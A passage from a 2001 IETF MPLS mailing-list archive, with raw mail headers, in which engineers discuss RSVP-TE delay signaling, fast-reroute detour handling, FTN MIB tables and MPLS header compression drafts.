	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkooi24095
	for <mpls@UU.NET>; Fri, 11 May 2001 15:03:10 GMT
Received: from father.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQkooi29167
	for <mpls@UU.NET>; Fri, 11 May 2001 15:03:09 GMT
Received: (qmail 26612 invoked by uid 104); 11 May 2001 15:03:09 -0000
Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.393666 secs); 11/05/2001 08:03:08
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by father.pmc-sierra.bc.ca with SMTP; 11 May 2001 15:03:08 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4BF37102780;
	Fri, 11 May 2001 08:03:07 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJB1HR>; Fri, 11 May 2001 08:05:55 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C47@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'David Charlap'" <david.charlap@marconi.com>, mpls@UU.NET
Subject: RE: How to calculate the actual delay when signaling QoS
Date: Fri, 11 May 2001 08:05:47 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi David,

What about the optional ADSPEC in RSVP-TE, can't it be used to return the C and D terms needed to compute the delay, and be used for admission control? (i.e., GS over MPLS)

-Shahram

> -----Original Message-----
> From: David Charlap [mailto:david.charlap@marconi.com]
> Sent: Friday, May 11, 2001 10:03 AM
> To: mpls@UU.NET
> Subject: Re: How to calculate the actual delay when signaling QoS
> 
> 
> shen jing wrote:
> > 
> > My question is:  the signaling procedure only consider the
> > bandwidth needed, real transmission dely and jitter can  not be
> > got when calculating a explicit path, right?
> 
> And it doesn't matter because none of the three MPLS 
> signaling protocols
> let you make delay/jitter-based reservations.
> 
> -- David
> 



From owner-mpls@UU.NET  Fri May 11 11:10:01 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12397
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 11:10:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooi12304;
	Fri, 11 May 2001 15:09:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkooi15318
	for mpls-outgoing; Fri, 11 May 2001 15:08:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkooi15167
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:08:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkooi25669
	for <mpls@UU.NET>; Fri, 11 May 2001 15:08:17 GMT
Received: from web11405.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web11405.mail.yahoo.com [216.136.131.235])
	id QQkooi10106
	for <mpls@UU.NET>; Fri, 11 May 2001 15:08:16 GMT
Message-ID: <20010511150816.3739.qmail@web11405.mail.yahoo.com>
Received: from [65.194.140.2] by web11405.mail.yahoo.com; Fri, 11 May 2001 08:08:16 PDT
Date: Fri, 11 May 2001 08:08:16 -0700 (PDT)
From: Sanjay Wadhwa <swadhwa01@yahoo.com>
Subject: Re: 
To: Alia Atlas <aatlas@avici.com>
Cc: mpls@UU.NET
In-Reply-To: <4.1.20010508175232.00a7d410@mailhost.avici.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Alia,
  I haven't heard back from the authors of the draft on this. 
Using the address of the PLR for the detour is what I had in mind as a
possible option too. One issue is being able to unambiguously find the
primary's state to merge with on the merge point when you get a setup
for the detour, and to keep the primary's state alive (and refreshed
downstream) if path state for one or more detours is present. I suppose
on the merge point you could identify the primary's state by looking
for path state that correponds to the session in the detour's setup and
also contains a re-route object.

-Sanjay

--- Alia Atlas <aatlas@avici.com> wrote:
> Sanjay,
> 
> I am considering the same problem.  With the below topology, assume
> the
> primary LSP is R1-R2-R3-R4-R5-R6. 
> 
>                   R7 --------- R8 -------- R9 ------- R10
>                    |               |            |            |
>      R1-------- R2 --------- R3 ------- R4 ------- R5 -------- R6
> 
> The backup from R2 is signalled as R2-R7-R8-R9-R4.
> The backup from R3 is signalled as R3-R8-R9-R10-R5.
> 
> In the PATH messages, clearly the DETOUR object and the ERO
> distinguish the
> two detours.  However, in the RESV, from the draft, the only way to
> distinguish the two is based on the contents of the RRO.
> 
> I would suggest that it would make sense to set the "IPv4 tunnel
> sender
> address" in the SENDER_TEMPLATE to an address of the PLR (R2 in the
> example
> above).  This is how draft-swallow-rsvp-bypass-label-01.txt suggests
> distinguishing a backup from the primary.  It has the advantage that
> the
> "IPv4 tunnel sender address" is copied from the SENDER_TEMPLATE in
> the PATH
> message into the FILTER_SPEC in the RESV message.
> 
> Does this make sense to you? Have you heard any other suggestions for
> how
> to distinguish the different detours?
> 
> Thanks,
> Alia
> 
> At 05:02 PM 4/25/01 -0700, Sanjay Wadhwa wrote:
> >Hi
> >The re-route technique mentioned in this draft talks about using the
> >same sender_template for each detour LSP and the primary LSP. It is
> >also restricted to use FF style. How would overlapping detours be
> >handled here ?
> >
> >
> > R1 ---- R2 ---- R3 ------ R4 ----- R5 ----- R6
> >         |       o         |         o
> >         |       o         |         o
> >         +------ R7 -o-o-o R8 oooooooo
> >
> >Lets say R2 and R3 are local repairers.          
> >R2-R7-R8-R4 (dashed path) provides detour for node R3.
> >R3-R7-R8-R5 (bubbled path) provides a detour for R4.
> >Both detours have R7-R8 as a common link. In this case you would
> want
> >R8 to send different labels corresponding to the two detours to R7,
> >since R8 needs to switch packets coming on the two detours out
> >different interfaces (R8-R4 and R8-R5). If the sender_template is
> >identical for the two detours how would R8 send two different labels
> to
> >R7 (labels go with the filter-spec in RESVs. And I don't see the
> detour
> >object being passed back in the RESV to possibly identify the
> detour) ?
> >
> >-Sanjay
> >
> >
> >
> >__________________________________________________
> >Do You Yahoo!?
> >Yahoo! Auctions - buy the things you want at great prices
> >http://auctions.yahoo.com/
> 
> 


__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Fri May 11 11:35:24 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13209
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 11:35:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkook20855;
	Fri, 11 May 2001 15:34:53 GMT
Received: by mail-control.mail.uu.net 
	id QQkook26407
	for mpls-outgoing; Fri, 11 May 2001 15:34:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkook26386
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:34:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkook21550
	for <mpls@UU.NET>; Fri, 11 May 2001 15:33:59 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkook12096
	for <mpls@UU.NET>; Fri, 11 May 2001 15:33:59 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA00566
	for <mpls@UU.NET>; Fri, 11 May 2001 11:33:56 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA27842
	for <mpls@UU.NET>; Fri, 11 May 2001 11:33:57 -0400 (EDT)
Message-ID: <3AFC067C.C7FCF08D@marconi.com>
Date: Fri, 11 May 2001 11:34:20 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: How to calculate the actual delay when signaling QoS
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C47@BBY1EXM01>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shahram Davari wrote:
> 
> What about the optional ADSPEC in RSVP-TE, can't it be used to
> return the C and D terms needed to compute the delay, and be used
> for admission control? (i.e., GS over MPLS)

The ADSPEC is only used in Path processing, not Resv.  An egress router
can learn the delay characteristics along the route the Path message has
followed, but there is no way for it to turn around and make a
delay-bounded reservation.

In MPLS, where the resources reserved will always match the TSPEC, the
information is not useful.  In straight RSVP, where the endpoint is an
application and not a router, it might be able to use this to adjust the
bandwidth or set an application-layer parameter.

-- David


From owner-mpls@UU.NET  Fri May 11 11:52:14 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13686
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 11:52:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkool28125;
	Fri, 11 May 2001 15:51:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkool28341
	for mpls-outgoing; Fri, 11 May 2001 15:50:10 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkool28333
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:50:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkool20547
	for <mpls@UU.NET>; Fri, 11 May 2001 15:47:51 GMT
Received: from mailhost.avici.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.246.215.9])
	id QQkool04454
	for <mpls@UU.NET>; Fri, 11 May 2001 15:47:50 GMT
Received: from aatlas-pc (aatlas-pc.avici.com [10.2.20.92])
	by mailhost.avici.com (8.11.0/8.11.0) with SMTP id f4BFlme09858;
	Fri, 11 May 2001 11:47:48 -0400 (EDT)
Message-Id: <4.1.20010511111717.00a937e0@mailhost.avici.com>
X-Sender: aatlas@mailhost.avici.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Fri, 11 May 2001 11:44:12 -0500
To: Sanjay Wadhwa <swadhwa01@yahoo.com>
From: Alia Atlas <aatlas@avici.com>
Subject: Re: fast reroute
Cc: mpls@UU.NET
In-Reply-To: <20010511150816.3739.qmail@web11405.mail.yahoo.com>
References: <4.1.20010508175232.00a7d410@mailhost.avici.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

Sanjay,

At 08:08 AM 5/11/01 -0700, Sanjay Wadhwa wrote:
>Alia,
>  I haven't heard back from the authors of the draft on this. 
>Using the address of the PLR for the detour is what I had in mind as a
>possible option too. One issue is being able to unambiguously find the
>primary's state to merge with on the merge point when you get a setup
>for the detour, and to keep the primary's state alive (and refreshed
>downstream) if path state for one or more detours is present. I suppose
>on the merge point you could identify the primary's state by looking
>for path state that correponds to the session in the detour's setup and
>also contains a re-route object.

If the "local protection requested" flag is set in the Session Attribute
object for the primary, that could also be used.  In
draft-gan-fast-reroute-00.txt, I do not see it specified whether or not
that flag should be set.  I would assume that it should be, since local
protection is what the fast-reroute object is requesting.

I do have a question about draft-swallow-rsvp-bypass-label-01.txt and
keeping the primary's state alive.  The draft suggests simply sending the
primary's PATH message, presumably with a modified ERO, through the bypass
tunnel only in the event of a failure. 

Clearly, the bypass tunnel will be signalled and kept alive, but the Merge
node can't determine which primary's are protected via backups through that
bypass tunnel.  When global labels are available, no Path messages are sent
for the backups to the merge point.

When a failure occurs, however, the downstream node may immediately send a
path tear.
In the below diagram, with a primary of R1-R2-R3-R4-R5 and a bypass tunnel
of R2-R6-R4, if the link R2-R3 fails, presumably R3 will send a Path tear
to R4.   If R4 hasn't received a the modified Path message through the
bypass tunnel, then R4 will tear down the primary state.

                                    ___R6___
                                  /               \
		R1-----R2-----R3------R4------R5 

Do you see a solution to this race condition, other than signalling the
PATH message through the bypass tunnel always?  Is the assumption that R3
will not send an immediate Path Tear on a LSP with local protection requested?

Alia


>-Sanjay
>
>--- Alia Atlas <aatlas@avici.com> wrote:
>> Sanjay,
>> 
>> I am considering the same problem.  With the below topology, assume
>> the
>> primary LSP is R1-R2-R3-R4-R5-R6. 
>> 
>>                   R7 --------- R8 -------- R9 ------- R10
>>                    |               |            |            |
>>      R1-------- R2 --------- R3 ------- R4 ------- R5 -------- R6
>> 
>> The backup from R2 is signalled as R2-R7-R8-R9-R4.
>> The backup from R3 is signalled as R3-R8-R9-R10-R5.
>> 
>> In the PATH messages, clearly the DETOUR object and the ERO
>> distinguish the
>> two detours.  However, in the RESV, from the draft, the only way to
>> distinguish the two is based on the contents of the RRO.
>> 
>> I would suggest that it would make sense to set the "IPv4 tunnel
>> sender
>> address" in the SENDER_TEMPLATE to an address of the PLR (R2 in the
>> example
>> above).  This is how draft-swallow-rsvp-bypass-label-01.txt suggests
>> distinguishing a backup from the primary.  It has the advantage that
>> the
>> "IPv4 tunnel sender address" is copied from the SENDER_TEMPLATE in
>> the PATH
>> message into the FILTER_SPEC in the RESV message.
>> 
>> Does this make sense to you? Have you heard any other suggestions for
>> how
>> to distinguish the different detours?
>> 
>> Thanks,
>> Alia
>> 
>> At 05:02 PM 4/25/01 -0700, Sanjay Wadhwa wrote:
>> >Hi
>> >The re-route technique mentioned in this draft talks about using the
>> >same sender_template for each detour LSP and the primary LSP. It is
>> >also restricted to use FF style. How would overlapping detours be
>> >handled here ?
>> >
>> >
>> > R1 ---- R2 ---- R3 ------ R4 ----- R5 ----- R6
>> >         |       o         |         o
>> >         |       o         |         o
>> >         +------ R7 -o-o-o R8 oooooooo
>> >
>> >Lets say R2 and R3 are local repairers.          
>> >R2-R7-R8-R4 (dashed path) provides detour for node R3.
>> >R3-R7-R8-R5 (bubbled path) provides a detour for R4.
>> >Both detours have R7-R8 as a common link. In this case you would
>> want
>> >R8 to send different labels corresponding to the two detours to R7,
>> >since R8 needs to switch packets coming on the two detours out
>> >different interfaces (R8-R4 and R8-R5). If the sender_template is
>> >identical for the two detours how would R8 send two different labels
>> to
>> >R7 (labels go with the filter-spec in RESVs. And I don't see the
>> detour
>> >object being passed back in the RESV to possibly identify the
>> detour) ?
>> >
>> >-Sanjay
>> >
>> >
>> >
>> >__________________________________________________
>> >Do You Yahoo!?
>> >Yahoo! Auctions - buy the things you want at great prices
>> >http://auctions.yahoo.com/
>> 
>> 
>
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Auctions - buy the things you want at great prices
>http://auctions.yahoo.com/




From owner-mpls@UU.NET  Fri May 11 11:58:10 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13938
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 11:58:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkool06369;
	Fri, 11 May 2001 15:56:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkool28874
	for mpls-outgoing; Fri, 11 May 2001 15:55:38 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkool28862
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:55:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkool03899
	for <mpls@uu.net>; Fri, 11 May 2001 15:54:36 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkool11427
	for <mpls@uu.net>; Fri, 11 May 2001 15:54:35 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4BFsY917883
	for <mpls@uu.net>; Fri, 11 May 2001 08:54:34 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA00559 for mpls@uu.net; Fri, 11 May 2001 11:54:33 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkool28199
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 15:48:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkool02705
	for <mpls@uu.net>; Fri, 11 May 2001 15:47:49 GMT
Received: from mailman.sprintlabs.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mx.sprintlabs.com [208.30.174.2])
	id QQkool27141
	for <mpls@uu.net>; Fri, 11 May 2001 15:47:49 GMT
Received: by mailman.sprintlabs.com with Internet Mail Service (5.5.2652.78)
	id <KT1D7QWH>; Fri, 11 May 2001 08:47:47 -0700
Received: from lsunpc.sprintlabs.com (ip199-2-53-5.sprintlabs.com [199.2.53.5]) by mailman.sprintlabs.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id KT1D7QWG; Fri, 11 May 2001 08:47:46 -0700
From: Lin Sun <lsun@sprintlabs.com>
To: tnadeau@cisco.com
Cc: mpls@UU.NET, arun@force10networks.com, cheenu@tachion.com
Message-Id: <4.3.2.7.2.20010511091937.00d602b0@mailman>
X-Sender: lsun@mailman
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 11 May 2001 09:22:06 -0700
Subject: Seek clarification on FTN Tables
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Tom:

In the MPLS FTN MIB draft 0.1 dated 4/2001, there are two tables for the
FTN:
1) FTN table and
2) FTNmap table

With these two tables, each interface could have a list of FTN entries (in a
linked-list) to be activated on that interface.
I have two questions here and I would appreciate you and other co-authors to
clarify:

1) can different interfaces include FTNs that could appear in different
FTNMap entries (interfaces)?
2) if the answer to 1) is yes, would you allow modifications to an existing
FTN entry that is applied to multiple interfaces and
    possibly multiple LSPs/Tunnels?
3) if the answer to 2) is yes, would the modifications be updated to the
active tunnels

Thanks.

/Lin Sun 



From owner-mpls@UU.NET  Fri May 11 13:01:45 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15443
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 13:01:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkooq23163;
	Fri, 11 May 2001 17:01:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkooq26505
	for mpls-outgoing; Fri, 11 May 2001 17:00:50 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkooq26178
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 17:00:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkooq26461
	for <mpls@UU.NET>; Fri, 11 May 2001 17:00:17 GMT
Received: from smtp486-bms.mail.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp486-bms.mail.com [165.251.44.40])
	id QQkooq18500
	for <mpls@UU.NET>; Fri, 11 May 2001 17:00:16 GMT
Received: from csrinivasan (unknown [12.34.209.74])
	by smtp486-bms.mail.com (SMTP server) with SMTP
	id 6512C49871; Fri, 11 May 2001 13:00:11 -0400 (EDT)
Reply-To: <cheenu@alumni.princeton.edu>
From: "Cheenu Srinivasan" <cheenu@alphion.com>
To: "'Lin Sun'" <lsun@sprintlabs.com>
Cc: <mpls@UU.NET>, <arun@force10networks.com>, <tnadeau@cisco.com>
Subject: RE: Seek clarification on FTN Tables
Date: Fri, 11 May 2001 13:00:25 -0400
Message-ID: <000001c0da3b$e07c44e0$580aa8c0@csrinivasan>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <4.3.2.7.2.20010511091937.00d602b0@mailman>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Lin Sun wrote:
>
[snip]
> 1) can different interfaces include FTNs that could appear in 
> different
> FTNMap entries (interfaces)?

I presume you are asking if the same FTN entry can be mapped to
different interfaces. Yes, an FTN entry can be reused in this way.

> 2) if the answer to 1) is yes, would you allow modifications 
> to an existing
> FTN entry that is applied to multiple interfaces and
>     possibly multiple LSPs/Tunnels?

This is up to the particular implementation.

> 3) if the answer to 2) is yes, would the modifications be 
> updated to the
> active tunnels

Those implementations that choose to allow this would have to ensure
that the updated FTN is activated on all the affected interfaces.
It will of course lead to issues such as ensuring atomicity of
the update operation.

Cheenu





From owner-mpls@UU.NET  Fri May 11 13:52:39 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17009
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 13:52:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoot19617;
	Fri, 11 May 2001 17:51:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkoot17540
	for mpls-outgoing; Fri, 11 May 2001 17:50:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoot17194
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 17:47:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoot24223
	for <mpls@uu.net>; Fri, 11 May 2001 17:45:19 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoot26073
	for <mpls@uu.net>; Fri, 11 May 2001 17:45:19 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA07524 for mpls@uu.net; Fri, 11 May 2001 13:45:18 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoos16458
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 17:44:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoos06350
	for <mpls@uu.net>; Fri, 11 May 2001 17:44:24 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkoos02708
	for <mpls@uu.net>; Fri, 11 May 2001 17:44:23 GMT
Received: (qmail 16941 invoked by uid 104); 11 May 2001 17:44:22 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.436429 secs); 11/05/2001 10:44:22
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 11 May 2001 17:44:22 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4BHiL129903
	for <mpls@uu.net>; Fri, 11 May 2001 10:44:21 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJBHWD>; Fri, 11 May 2001 10:47:09 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C4B@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: MPLS header compression
Date: Fri, 11 May 2001 10:47:02 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0DA42.62E9A570"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0DA42.62E9A570
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

Just wanted to know what is the status of  the two header compression drafts by George Swallow, and Lou Berger.

Thanks,
Shahram




------_=_NextPart_000_01C0DA42.62E9A570
Content-Type: application/octet-stream;
	name="Shahram Davari.vcf"
Content-Disposition: attachment;
	filename="Shahram Davari.vcf"

BEGIN:VCARD
VERSION:2.1
N:Davari;Shahram
FN:Shahram Davari
ORG:PMC-Sierra, Inc.;R&D Research Ottawa-109203
TITLE:Product Research Engineer
TEL;WORK;VOICE:+1 613 271 4018
ADR;WORK:;Ottawa;Kanata Research Park, Suite 834, Office Tower B, 555 Legget Drive;Kanata;Ontario;K2K 2X3;Canada
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Ottawa=0D=0AKanata Research Park, Suite 834, Office Tower B, 555 Legget Driv=
e=0D=0AKanata, Ontario K2K 2X3=0D=0ACanada
EMAIL;PREF;INTERNET:Shahram_Davari@pmc-sierra.com
REV:20010112T213717Z
END:VCARD

------_=_NextPart_000_01C0DA42.62E9A570--



From owner-mpls@UU.NET  Fri May 11 16:27:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA19992
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 16:27:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkopd22016;
	Fri, 11 May 2001 20:26:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkopd02330
	for mpls-outgoing; Fri, 11 May 2001 20:26:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkopd02239
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 20:26:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkopd01883
	for <mpls@uu.net>; Fri, 11 May 2001 20:24:09 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkopd01245
	for <mpls@uu.net>; Fri, 11 May 2001 20:24:09 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA18276 for mpls@uu.net; Fri, 11 May 2001 16:24:08 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkopd01953
